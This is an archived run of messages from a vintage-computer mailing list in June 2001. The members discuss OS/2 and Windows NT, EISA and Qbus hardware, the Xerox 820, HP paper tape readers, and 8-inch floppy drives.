scrubbed... Name: not available Type: text Size: 469 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010628/53258291/attachment.ksh From pechter at bg-tc-ppp1667.monmouth.com Thu Jun 28 18:35:09 2001 From: pechter at bg-tc-ppp1667.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:03 2005 Subject: OS/2 In-Reply-To: <464.580T900T84861optimus@canit.se> from Iggy Drougge at "Jun 29, 2001 00:08:18 am" Message-ID: <200106282335.f5SNZ9k15565@bg-tc-ppp1667.monmouth.com> > Bill Pechter skrev: > > >I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD > >thrown in. > > Isn't that Windows NT? Not if you have to use the GUI to admin it and reboot to change network addresses. > > >Always liked OS/2 and always will. IBM was screwed by M$ who kept > >changing Win32 and keeping new apps from running on OS/2. > > So what? OS/2 is OS/2 and Windows is Windows. You can't just rely on some > other OS vendor to supply you with the right API and applications. > But M$ promised if you code to Win32S it would be portable to OS/2, Win3.1 and Win95/NT and kept changing the DLLs to break it. The only problem in OS/2 was if the Workplace Shell threads blocked and locked up you'd lose the desktop... but all the server services like network kept going. Getting a prompt and login from Telnet was possible on OS/2 when it wasn't standard in NT. The ftp and telnet servers made OS/2 pretty compatible to FreeBSD/Linux/Unix in what it could do on a lan. Miserable Redmond $%*s. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp1667.monmouth.com Thu Jun 28 18:39:44 2001 From: pechter at bg-tc-ppp1667.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection?[D In-Reply-To: from Tony Duell at "Jun 28, 2001 11:26:43 pm" Message-ID: <200106282339.f5SNdiT15653@bg-tc-ppp1667.monmouth.com> > > > > Not senility but rather an afflication known as CRS or "Can't Remember > > Shit" - I'm also 44 and it hits me regularly. Not old enough to have > > indulged the "bad acid" of Woodstock but there is definitely a ton of crap > > YKYBHTLW your first thought on reading the above is > 'But the HP2x series of handhelds used NiCd battery packs, so the > electrolyte is alkaline.' > > (for the non-HP hackers on this list, the HP21, 22, 25, 27, 25C and 29C > calculators were called the 'Woodstock Family'). > > -tony I'm 47 and remember well my HP21... and the NiCd packs and the Xacto battery replacement tricks... HP pack out, cut, standard commercial NiCd cells snapped in as a replacement. I wish I could find an HP21 at a flea market here. My new HP calculator does hex,octal,binary and all the nice stuff but it's not RPN (shudder). bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From bshannon at tiac.net Thu Jun 28 18:48:30 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? References: <01Jun28.135141edt.119147@gateway.mediacen.navy.mil> Message-ID: <3B3BC24E.D28EDC94@tiac.net> Oh no, EISA cranks out speed, if you have the right boards. EISA bus mastering boards can blast 32 bit data directly into RAM using a seperate data path in the chipset. Jeff Hellige wrote: > on 6/28/01 1:12 PM, Brian Chase at bdc@world.std.com wrote: > > There's EISA. I thought it was an okay bus while maintaining backwards > > compatibility with ISA. It'd have been more successful if it were > > cheaper. As for other non-jumpered busses, Sun's Sbus is nice. > > Didn't EISA also suffer from still being slow? I seem to remember that > it didn't gain much/any speed over ISA, just that the data path went from 16 > to 32bits, allowing it to move more data at the same bus speed? To remain > compatible with ISA, it would seem they'd have to retain the original bus > speed as well. > > I've always thought it was too bad that things like VLB didn't appear > with the 80386 when it was really needed. > > Jeff From bshannon at tiac.net Thu Jun 28 18:51:25 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:03 2005 Subject: HP2748A papertape reader : connector ? References: <01062821272400.00371@jos> Message-ID: <3B3BC2FD.2BF888D4@tiac.net> I can help you with the HP tape reader. I has a simple 10 bit interface, 10 data bits out, a ready flag, and one step command input. The 'logic' levels are 12 volt transistor drive signals, active low. This was used to attach to a special board that plugged into the HP2114 2115, 2116, 2100 and later HP minicomputers (my favorites). "jos.mar" wrote: > A recent dumpster dive yielded a HP2748A papertape reader. Does anyone have > the interface spec's for this device handy ? > > Left in the dumpster were : a Facit 4070 punch, a hp(8900?) diskdrive with > power supply. > The disk, vintage early to mid seventies, really should be saved but since I > do not have a fitting computer.... > (Location Zurich , Switzerland ) > > Jos Dreesen From ard at p850ug1.demon.co.uk Thu Jun 28 19:06:54 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: <200106282339.f5SNdiT15653@bg-tc-ppp1667.monmouth.com> from "Bill Pechter" at Jun 28, 1 07:39:44 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 882 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/5447b327/attachment.ksh From lance at costanzo.net Thu Jun 28 19:22:18 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:05:03 2005 Subject: HP2748A papertape reader : connector ? Message-ID: <3.0.32.20010628172217.021e9868@costanzo.net> At 11:57 PM 6/28/01 +0100, you wrote: >> >> >> A recent dumpster dive yielded a HP2748A papertape reader. Does anyone have >> the interface spec's for this device handy ? > >I know the unit (I have one somewhere), but I've never found out much >about it..... A google search led me to Jeff Moffatt's web site. http://oscar.taurus.com/~jeff/2100/index.html He has a "yellow file box" containing the info on the interface card that goes in the 21xx series. Old HP docs are pretty good about describing the interface signals and cables. From jhellige at earthlink.net Thu Jun 28 19:31:58 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3BC24E.D28EDC94@tiac.net> References: <01Jun28.135141edt.119147@gateway.mediacen.navy.mil> <3B3BC24E.D28EDC94@tiac.net> Message-ID: >Oh no, EISA cranks out speed, if you have the right boards. >EISA bus mastering boards can blast 32 bit data directly into RAM >using a seperate data path in the chipset. What was the bus actually clocked at? I was always under the impression that with non-bus mastering EISA cards that the additional speed increase over ISA was just due to the added bus width. Or is it only clocked at the clock of the ISA bus when an ISA card is inserted into an EISA slot? I think I still have a few EISA SCSI boards. Now I'm curious as to their specs. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From foo at siconic.com Thu Jun 28 18:44:34 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:03 2005 Subject: Old stuff found + help identifying... In-Reply-To: <3B3B481C.B506A286@manizales.autonoma.edu.co> Message-ID: On Thu, 28 Jun 2001, Carlos Murillo wrote: > A few days ago one of the storage rooms at the university > was cleaned up and I grabbed all the computer-related stuff > that I could. Not a lot of variety, though. Besides > from the wintel carcasses and Mac plus remains, I found > one Datapoint 1550 and several modules from a type system that > I have never seen. The cpu, floppy disk drives and graphics > modules snap onto each other's side very neatly. There are > several of these systems, with the corresponding monitors and > keyboards. Alas, the only power supply unit that I found > is incomplete and badly damaged. Do you guys have some > info about these systems? Pics can be found at The Datapoint 1550 is I believe just a terminal, but it may well be a full-fledged computer. I know the model 1600 and 1800 are all-in-one computers which were actually meant to be the CPU in a multi-node Datapoint network (connected via ARCNET). Look inside the unit and if there is a card cage then it's most likely a CPU. Late 1970's vintage. The modular boxes are a Convergent Technologies NGEN multi-user system. They ran either Unix or some other DOS which currently escapes me. Mid-80s vintage. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From SUPRDAVE at aol.com Thu Jun 28 19:47:30 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:05:03 2005 Subject: OS/2 Message-ID: In a message dated 6/28/01 7:42:48 PM Eastern Daylight Time, pechter@bg-tc-ppp1667.monmouth.com writes: << > Bill Pechter skrev: > > >I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD > >thrown in. > > Isn't that Windows NT? Not if you have to use the GUI to admin it and reboot to change network addresses. > > >Always liked OS/2 and always will. IBM was screwed by M$ who kept > >changing Win32 and keeping new apps from running on OS/2. > > So what? OS/2 is OS/2 and Windows is Windows. You can't just rely on some > other OS vendor to supply you with the right API and applications. > > But M$ promised if you code to Win32S it would be portable to OS/2, > Win3.1 and Win95/NT and kept changing the DLLs to break it. .The only problem in OS/2 was if the Workplace Shell threads blocked and >locked up you'd lose the desktop... but all the server services >like network kept going. >Getting a prompt and login from Telnet was possible on OS/2 when it >wasn't standard in NT. >The ftp and telnet servers made OS/2 pretty compatible to >FreeBSD/Linux/Unix in what it could do on a lan. >> OS/2 v.3 had a single input queue which caused the problem where the desktop would not respond but the system will still chug along just fine. If you had a multithreaded foreground app that quit working, sometimes there was no way to break of it. Supposedly that was fixed in Warp 4 but i've still had it quit on me. Installing that program called Watchcat has saved me several times from rebooting. -- DB Young Team OS/2 old computers, hot rod pinto and more at: www.nothingtodo.org From rigdonj at intellistar.net Thu Jun 28 20:05:52 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:03 2005 Subject: Xerox 820 In-Reply-To: <000a01c0fff4$047edd20$9cc762d8@idcomm.com> References: Message-ID: <5.1.0.14.1.20010628210023.00a7c0a0@mailhost.intellistar.net> What did the XEROX box look like? There was an odd looking box in the samje carton that I found the XEROX 820 manual in. It looked somewhat like an Apple Lisa and had a large 12 - 13"?) screen offset on one side of the case. I think it also had a notch in the bottom front like the Lisa but it did not have any feet sticking out like the Lisa does. I looked all over this one but couldn't find a name on it except I could look through a grill on the back and see the name "Ball". (It probably had a Ball monitor in it). There was no keyboard but I think there was a socket in the rear for one to plug in. There was also a large (50 pin?) ribbon cable hanging out the back. I'm guessing that it may have been used to connect to disk drives. Joe At 11:01 AM 6/28/01 -0600, you wrote: >Thousands of these were sold as bare boards with limited doc's. I frequently >ran into folks using them, yet never saw one in the original Xerox enclosure. >The Xerox box was just too expensive. Once they were no longer a major >product, >they were surplussed out as bare boards. I think it was through BG Micro. > >Dick > >----- Original Message ----- >From: "Rich Beaudry" >To: >Sent: Thursday, June 28, 2001 9:12 AM >Subject: Xerox 820 > > > > Hello all, > > > > Recently I acquired a Xerox 820, but as a single board, w/ power supply. I > > also received many docs (including a tech manual with Monitor listings and > > schematics). I know originally these were "all-in-one" computers, but many > > appear at ham fests in exactly the same shape as mine -- as a single board > > computer. > > > > Of course, hooking a terminal up to it produces nothing (even testing at > > different baud rates/parity/stop bits, etc), so I'm wondering: > > > > - Are there any modifications (ROM or jumpers) to "convert" this to use the > > serial port for a console, rather than the keyboard and video display? I > > couldn't find anything in my docs, but of course, I have not read them in > > depth yet. > > > > In return, I could offer copies of the docs, or thanks to 22NICE and my > > Compaticard (thanks Don!), copies of the files on the diskettes (CP/M, > "Word > > Processor", "Diagnostics", "Training Files" and "Program Files"), or images > > of the disks (assuming Teledisk could do it -- I haven't tried that yet). > > The disks are 5.25", SSSD > > > > Thanks! > > > > Rich B. > > > > From geoffrob at stmarks.pp.catholic.edu.au Thu Jun 28 20:09:13 2001 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? References: <464.580T900T84861optimus@canit.se> Message-ID: <004b01c10038$1ce19940$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Iggy Drougge" To: "Bill Pechter" Sent: Friday, June 29, 2001 12:00 AM Subject: Re: Whats a reasonable collection? > Bill Pechter skrev: > > >I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD > >thrown in. > > Isn't that Windows NT? In it's dreams. There is anecdotal evidence that some VMS'isms were included in NT 4(?) by ex DEC developers. However this did not have the effect of making a basically unstable OS stable. It's a common joke that Bill would like NT 9.0 to work as well as VMS. Cheers Geoff in Oz From rigdonj at intellistar.net Thu Jun 28 20:14:28 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:03 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <01062821272400.00371@jos> Message-ID: <5.1.0.14.1.20010628210740.00a282d0@mailhost.intellistar.net> At 09:22 PM 6/28/01 +0200, you wrote: >A recent dumpster dive yielded a HP2748A papertape reader. Does anyone have >the interface spec's for this device handy ? I think *some* of HP's paper tape punches and readers use the 82032 parallel interface. It's a 16 bit parallel interface with several additional handshaking lines. Each data line can be set as Input only, Output only or In and Out. I think have one around here somewhere that came off of a PT punch. You should have grabbed the PT punch, I think the Facit is what HP used or perhaps I should say one of the ones that they used. What kind of connector is on your PT reader? I think most of the devices that used the 82032 used the same 50 pin Amphenol connector as most SCSI devices. Joe >Left in the dumpster were : a Facit 4070 punch, a hp(8900?) diskdrive with >power supply. >The disk, vintage early to mid seventies, really should be saved but since I >do not have a fitting computer.... >(Location Zurich , Switzerland ) > > > > Jos Dreesen From jhellige at earthlink.net Thu Jun 28 20:18:38 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:03 2005 Subject: WTB: 8" floppy In-Reply-To: References: Message-ID: I've resigned myself to the need to eventually get an 8" floppy set up, preferably DSDD, such as the Qume DT-8 or Shugart SA851. Does anyone have a pair of drives they'd be willing to sell? It'd be nice if they were already in a cabinet, as it'd save me a bit of work, but I'd be open to bare drives as well. Thanks Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From rigdonj at intellistar.net Thu Jun 28 20:29:53 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:03 2005 Subject: Xerox 820 In-Reply-To: <000d01c10001$2aec96c0$9cc762d8@idcomm.com> References: Message-ID: <5.1.0.14.1.20010628211524.00a7dcd0@mailhost.intellistar.net> At 12:35 PM 6/28/01 -0600, you wrote: >I'm not sure where they are, at the moment, but I have a couple of >daughterboards that fit via cable into the 1771 socket but allow the use of a >179x device for double-density recording. I'm not at all sure that the >2.5 MHz >Z80 can manage the data transfer rate for DD 8" diskettes, but it's possible >that there's an associated update for the CPU that makes it >possible. OTOH, DS >5-1/4" diskettes benefit greatly from DD recording. Unfortunately, I haven't >seen the one-page doc that goes with those boards in a long time, and I've >never >seen the software update to support DD diskettes. > >Dick FWIW Those devices are probably used to update an 820 to an 820-II. I'm not sure about the 820 but the 820-II supported both 5 1/4" and 8" disks. The 820-II could format the 8" disks as SS-SD, SS-DD, DS-SD or DS-DD. But the 820 only supported single density disk (SS or DS). On the 820-II the DD 5 1/4" disks held 155k or 322k (single or double sided) and the 8" DD disks held 482k or 980k (single or double sided). Joe >----- Original Message ----- >From: "Steve Robertson" >To: >Sent: Thursday, June 28, 2001 11:54 AM >Subject: Re: Xerox 820 > > > > >Thousands of these were sold as bare boards with limited doc's. I > > >frequently ran into folks using them, yet never saw one in the original > > >Xerox enclosure. The Xerox box was just too expensive. Once they were no > > >longer a major product, they were surplussed out as bare boards. I > think it > > >was through BG Micro. > > > > > > > I got several of the bare boards in a lot of XEROX stuff that bought > several > > years ago. Haven't looked in those boxes in a long time but if I recall > > correctly, the DOCS were *minimal*. > > > > If someone really wanted them, I'd be willing to part with the boards. > > > > > > SteveRob > > > > > > > > >----- Original Message ----- From: "Rich Beaudry" To: Sent: Thursday, June > > >28, 2001 9:12 AM Subject: Xerox 820 > > > > > > > > > > Hello all, > > Recently I acquired a Xerox 820, but as a single board, > > >w/ power supply. I > also received many docs (including a tech manual with > > >Monitor listings and > schematics). I know originally these were > > >"all-in-one" computers, but many > appear at ham fests in exactly the same > > >shape as mine -- as a single board > computer. > > > > _________________________________________________________________ > > Get your FREE download of MSN Explorer at http://explorer.msn.com > > > > From mcguire at neurotica.com Thu Jun 28 20:46:34 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: Re: Whats a reasonable collection? (Iggy Drougge) References: <955.579T450T13854327optimus@canit.se> Message-ID: <15163.56826.525472.243288@phaduka.neurotica.com> On June 28, Iggy Drougge wrote: > >Is it possible that maybe the existence of .ADF and .INF files is just a > >brain-damaged Microsoft OS requirement? > > Nope, it's a braindead IBM/PC industry requirement. Hmm...need them on EISA Alphas too, unfortunately. -Dave McGuire From mcguire at neurotica.com Thu Jun 28 20:47:18 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:05:03 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: Re: Classic busses (was Re: Whats a reasonable collection?) (Roger Ivie) References: <01K5AZPSEL3GCIQS0Q@cc.usu.edu> Message-ID: <15163.56870.705369.841568@phaduka.neurotica.com> On June 28, Roger Ivie wrote: > It may be most, but it's definitely not all of them, even if you restrict > yourself to DEC options. In addition to the DEC VMEbus adapter I mentioned > in another message, there was also an A.Open (I think that's the name; the > mutilation of I2C DEC used for keyboards and mice on the 5000/25) adapter. > I know DEC did some serial ports, although I don't think they sold them; > when I asked for info on doing serial port drivers for Ultrix, they > dredged up code for a TURBOchannel serial interface from the bowels > of some Ultrix lab. There was also some audio interface they used as > an example implemenation in some paper somewhere. There are, I believe, one or two TC audio cards by DEC. I also have a TC HPIB interface by National Instruments. -Dave McGuire From nerdware at laidbak.com Thu Jun 28 20:46:15 2001 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 19:05:03 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <20010628192950.78992.qmail@web9506.mail.yahoo.com> References: <200106280427.f5S4RCB13904@grover.winsite.com> Message-ID: <200106290149.f5T1nTn24516@grover.winsite.com> > --- Paul Braun wrote: > > > > > <> > > > > > > I was offered a *huge* box (> 1 cu ft) of modules at Dayton for > > > $0.25 each. > > > > Wow! Were you there when he had just dragged them out of his > > van? I might have been standing right next to you and not even known > > it. > > Maybe... I'm 5'6", long, brown ponytail, clean shaven (at the moment), > and might have been wearing "glacier glasses" (my only prescription > sunglasses) if it was sunny enough to need them (which was _not_ often > that Friday). > That sounds familiar....I probably did see you. I'm about 6'1", was wearing some sort of hat...probably my Novell hat, and was wearing an embroidered "Heil Sound" shirt (I was a semi-official employee for the weekend...) And yes, Friday was a joy for those of us wandering the flea market. I made it through the early sprinkles, bought 5 Storage Dimensions raid cabinets, and grabbed my umbrella when I toted 'em back to my car. I gave up, however, when the really black clouds and lightning moved in.... decided it was no longer fun. > > I pawed through the boxes, too, but after seeing "reject" written on > > 80% of the items, I opted not to waste any more time. > > Me, too, although I have bought items at Dayton marked "defective" - > got a 3Com 3c905 that way for free - the seller threw it in as a > freebie because I bought _something_ from him - took it home, plugged > it in and am still using it. I suspected that the thing that was most > likely to be defective was the bench-tech who tested it. I was right. > Doesn't mean I want to test 200 lamp modules, though. > True. I've gotten some real bargains that way... picked up a Newton 2k for $45....needed a new power adapter ($20 on ebay) and I found a guy who'll fix it's boot glitch for $75...so, all in all, I was happy. I can finally retire my MP100. Paul Braun WD9GCO Cygnus Productions nerdware_nospam@laidbak.com "A computer without a Microsoft operating system is like a dog without a bunch of bricks tied to its head." From lemay at cs.umn.edu Thu Jun 28 20:54:19 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:05:03 2005 Subject: WTB: 8" floppy In-Reply-To: Message-ID: <200106290154.UAA12437@caesar.cs.umn.edu> Does an 851 use the same power as a 800-2? Just curious, because I keep finding the single sided drives, and not the double sided ones that i'd like to have. I shouldnt complain, since the 800-2's are perfect replacement drives for newer Terak SSSD floppy units. -Lawrence LeMay > I've resigned myself to the need to eventually get an 8" > floppy set up, preferably DSDD, such as the Qume DT-8 or Shugart > SA851. Does anyone have a pair of drives they'd be willing to sell? > It'd be nice if they were already in a cabinet, as it'd save me a bit > of work, but I'd be open to bare drives as well. > > Thanks > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > From chomko at greenbelt.com Thu Jun 28 21:46:13 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:05:03 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) References: <1898.579T2050T1375603optimus@canit.se> Message-ID: <3B3BEBF5.723763D0@greenbelt.com> Iggy Drougge wrote: > Ethan Dicks skrev: > > >--- Eric Chomko wrote: > >> > >> Ethan Dicks wrote: > >> > >> > > > ...the 1% rule - ten years later, you can get a computer for 1% of > >> > > > its original purchase price. > >> > >> Well I suspect that the 1% rule means that a system is a) not rare, and b) > >> totally obsolete in the sense that all its functionality can be had in > >> newer machines (more at superset). > > >As I disclaimed, this does not account for the collector value of certain > >computers, especially as you get far beyond 10 years. A 10-year-old > >computer hits 1%; a 25-year-old computer is frequently worth more than it > >was at 10 years, but not necessarily more than it was when it was new. > > It's quite funny how I've been given working Mac IIci setups or at most have > paid 25 crowns (hamburger money) for them, whereas finding an (unexpanded) > Amiga 3000 or Atari TT (equivalent systems at the time, but with a cheaper > price tag) below 1000 crowns is very difficult. > Similarly, classic workstations seem to be worth peanuts (at least on eBay). > If only Amigas had been a success in the academic world, then I could buy them > by the dozen on eBay. =) Hey, good point! Cheap Amigas is always a good thing. But somehow we got screwed twice! > > > >> I'm trying to think of a coin collecting equivalent and can only think of > >> coins sold by the pound (weight). Many coin dealers actually buy foreign > >> coins that way. > > >Debased currency aside, I would think that a coin that is legible is never > >worth less than face value, or 100%. Money that has been removed from > >circulation (British Pound notes, for example) is no longer currency, and > Say what? You do know about fiat money, right? You don't expect to melt pot metal for a profit do you? > >could be considered to be "no longer functioning". A bundle of cotton rag > >paper with colored printing on it is worth an infintessimal fraction of the > >same weight in $100 bills. > > All British notes that I've seen have been in pounds... > Yes, got a couple off eBay. Looking for a deal with some Brits to send them back. Does the UK have sports memorabilia per se? Soccer or cricket perhaps? Cards, programs, any printed matter? Eric > > -- > En ligne avec Thor 2.6a. > > Keine Grenze verlockt mehr zum Schmuggeln als die Altersgrenze. > --- Robert Musil From dlw at trailingedge.com Thu Jun 28 22:03:52 2001 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 19:05:03 2005 Subject: Cruel Fates & The Exidy Sorcerer In-Reply-To: <10106282144.ZM5305@mindy.dunnington.u-net.com> References: "David Williams" "Cruel Fates & The Exidy Sorcerer" (Jun 28, 10:58) Message-ID: <3B3BA9C8.20356.E88FD@localhost> On 28 Jun 2001, at 20:44, Pete Turnbull wrote: > :-( Give me their address so I can go round and "re-educate" them And you could too, the email was from a UK address. I thought you people had more sense over there. ;-) > US, UK, or other European? > > BTW, I'm still looking for a (photo)copy (or PDF) of the manual for > the WP Pac, docs and/or ROMs (images will do) for the DEV PAC, and a > working copy of pacman (mine is corrupt). I've been working on the scans of the doc for the WP Pac and the DEV Pac as well as some other docs. Should have them up on the site not too long from now. Assuming we don't get any more floods. Had a major one here in Houston recently. At least the collection came through it just fine. ----- "What is, is what?" "When the mind is free of any thought or judgement, then and only then can we know things as they are." David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From michael_davidson at pacbell.net Thu Jun 28 22:29:59 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:03 2005 Subject: Unibus / Qbus bus drivers and receivers References: <1898.579T2050T1375603optimus@canit.se> <3B3BEBF5.723763D0@greenbelt.com> Message-ID: <3B3BF637.59F1B477@pacbell.net> I am just about to embark upon designing a small qbus interface card, and am trying to work out what to use for bus drivers and receivers. The 8641 quad bus transceiver is still available, but it appears that the 8640, 8881, 8131 and 8837 are all obsolete and out of production. I was tempted to use a pair of DS3862 octal bus transceivers since I want an internal tri-state bus on the card, but it looks as if the rise and fall times on the drivers are just a little fast (nominal 9ns compared to a minimum of 10ns according to the qbus spec). It would be really convenient to use these parts since it would help to keep the chip count down - any opinions on whether the faster rise/fall time would really be a problem in a small single backplane system? Also any suggestions for substitutes for bus drivers and receivers? I seem to remember the 7438 being capable of sinking enough current to drive a 120 ohm bus line effectively, but I'm not sure. (or, even better - anyone got a DCK11 chipset they would be willing to part with?) From cmcmanis at mcmanis.com Thu Jun 28 22:56:58 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:03 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3BF637.59F1B477@pacbell.net> References: <1898.579T2050T1375603optimus@canit.se> <3B3BEBF5.723763D0@greenbelt.com> Message-ID: <5.0.0.25.2.20010628205608.02379db0@209.185.79.193> Generally faster rise times are better unless you're worried about ringing. It will enhance your setup and hold times and thus make your card more reliable on the end of the bus... --Chuck At 08:29 PM 6/28/01 -0700, you wrote: >I was tempted to use a pair of DS3862 octal bus transceivers since >I want an internal tri-state bus on the card, but it looks as if >the rise and fall times on the drivers are just a little fast >(nominal 9ns compared to a minimum of 10ns according to the qbus spec). From edick at idcomm.com Thu Jun 28 23:23:24 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:03 2005 Subject: WTB: 8" floppy References: <200106290154.UAA12437@caesar.cs.umn.edu> Message-ID: <004101c10053$3cfd3fc0$9cc762d8@idcomm.com> The power requirements are the same, i.e. the DC supplies work for any of them, though not all drives require the negative supply, but the connectors for AC are often different for DS drives than for SS drives. Siemens FD800-2's are notable exceptions. Dick ----- Original Message ----- From: "Lawrence LeMay" To: Sent: Thursday, June 28, 2001 7:54 PM Subject: Re: WTB: 8" floppy > Does an 851 use the same power as a 800-2? Just curious, because I > keep finding the single sided drives, and not the double sided ones > that i'd like to have. > > I shouldnt complain, since the 800-2's are perfect replacement drives > for newer Terak SSSD floppy units. > > -Lawrence LeMay > > > I've resigned myself to the need to eventually get an 8" > > floppy set up, preferably DSDD, such as the Qume DT-8 or Shugart > > SA851. Does anyone have a pair of drives they'd be willing to sell? > > It'd be nice if they were already in a cabinet, as it'd save me a bit > > of work, but I'd be open to bare drives as well. > > > > Thanks > > Jeff > > -- > > Collector of Classic Microcomputers and Video Game Systems: > > Home of the TRS-80 Model 2000 FAQ File > > http://www.geocities.com/siliconvalley/lakes/6757 > > > > From edick at idcomm.com Thu Jun 28 23:25:06 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:03 2005 Subject: Xerox 820 References: <5.1.0.14.1.20010628211524.00a7dcd0@mailhost.intellistar.net> Message-ID: <004701c10053$7a1b9c80$9cc762d8@idcomm.com> I have some doubts that the daughterboard from Denver Business Systems (now defunct, methinks) that I have does nothing to help support 5-1/4" drives. Now, I'm not familiar enough with the 820 boards that BG Micro distributed to know whether they supported the mini-floppies. Dick ----- Original Message ----- From: "joe" To: Sent: Thursday, June 28, 2001 7:29 PM Subject: Re: Xerox 820 > At 12:35 PM 6/28/01 -0600, you wrote: > >I'm not sure where they are, at the moment, but I have a couple of > >daughterboards that fit via cable into the 1771 socket but allow the use of a > >179x device for double-density recording. I'm not at all sure that the > >2.5 MHz > >Z80 can manage the data transfer rate for DD 8" diskettes, but it's possible > >that there's an associated update for the CPU that makes it > >possible. OTOH, DS > >5-1/4" diskettes benefit greatly from DD recording. Unfortunately, I haven't > >seen the one-page doc that goes with those boards in a long time, and I've > >never > >seen the software update to support DD diskettes. > > > >Dick > > > FWIW Those devices are probably used to update an 820 to an 820-II. > I'm not sure about the 820 but the 820-II supported both 5 1/4" and 8" > disks. The 820-II could format the 8" disks as SS-SD, SS-DD, DS-SD or > DS-DD. But the 820 only supported single density disk (SS or DS). On the > 820-II the DD 5 1/4" disks held 155k or 322k (single or double sided) and > the 8" DD disks held 482k or 980k (single or double sided). > > Joe > > > >----- Original Message ----- > >From: "Steve Robertson" > >To: > >Sent: Thursday, June 28, 2001 11:54 AM > >Subject: Re: Xerox 820 > > > > > > > >Thousands of these were sold as bare boards with limited doc's. I > > > >frequently ran into folks using them, yet never saw one in the original > > > >Xerox enclosure. The Xerox box was just too expensive. Once they were no > > > >longer a major product, they were surplussed out as bare boards. I > > think it > > > >was through BG Micro. > > > > > > > > > > I got several of the bare boards in a lot of XEROX stuff that bought > > several > > > years ago. Haven't looked in those boxes in a long time but if I recall > > > correctly, the DOCS were *minimal*. > > > > > > If someone really wanted them, I'd be willing to part with the boards. > > > > > > > > > SteveRob > > > > > > > > > > > > >----- Original Message ----- From: "Rich Beaudry" To: Sent: Thursday, June > > > >28, 2001 9:12 AM Subject: Xerox 820 > > > > > > > > > > > > > Hello all, > > Recently I acquired a Xerox 820, but as a single board, > > > >w/ power supply. I > also received many docs (including a tech manual with > > > >Monitor listings and > schematics). I know originally these were > > > >"all-in-one" computers, but many > appear at ham fests in exactly the same > > > >shape as mine -- as a single board > computer. > > > > > > _________________________________________________________________ > > > Get your FREE download of MSN Explorer at http://explorer.msn.com > > > > > > > > From michael_davidson at pacbell.net Thu Jun 28 23:30:58 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:03 2005 Subject: Unibus / Qbus bus drivers and receivers References: <1898.579T2050T1375603optimus@canit.se> <3B3BEBF5.723763D0@greenbelt.com> <5.0.0.25.2.20010628205608.02379db0@209.185.79.193> Message-ID: <3B3C0482.CF9F875A@pacbell.net> Well, the question is "how worried about ringing *should* I be in a single backplane configuration if I use bus drivers which have a rise/fall time of 9 ns, when the bus spec says that the rise/fall time of bus drivers must not be *less* than 10 ns?" I'm guessing that it will probably be OK, but I really want this thing to "work first time" and be reliable so I feel a little uncomfortable cutting corners like this right at the outset. Chuck McManis wrote: > > Generally faster rise times are better unless you're worried about ringing. > It will enhance your setup and hold times and thus make your card more > reliable on the end of the bus... > > --Chuck > > At 08:29 PM 6/28/01 -0700, you wrote: > >I was tempted to use a pair of DS3862 octal bus transceivers since > >I want an internal tri-state bus on the card, but it 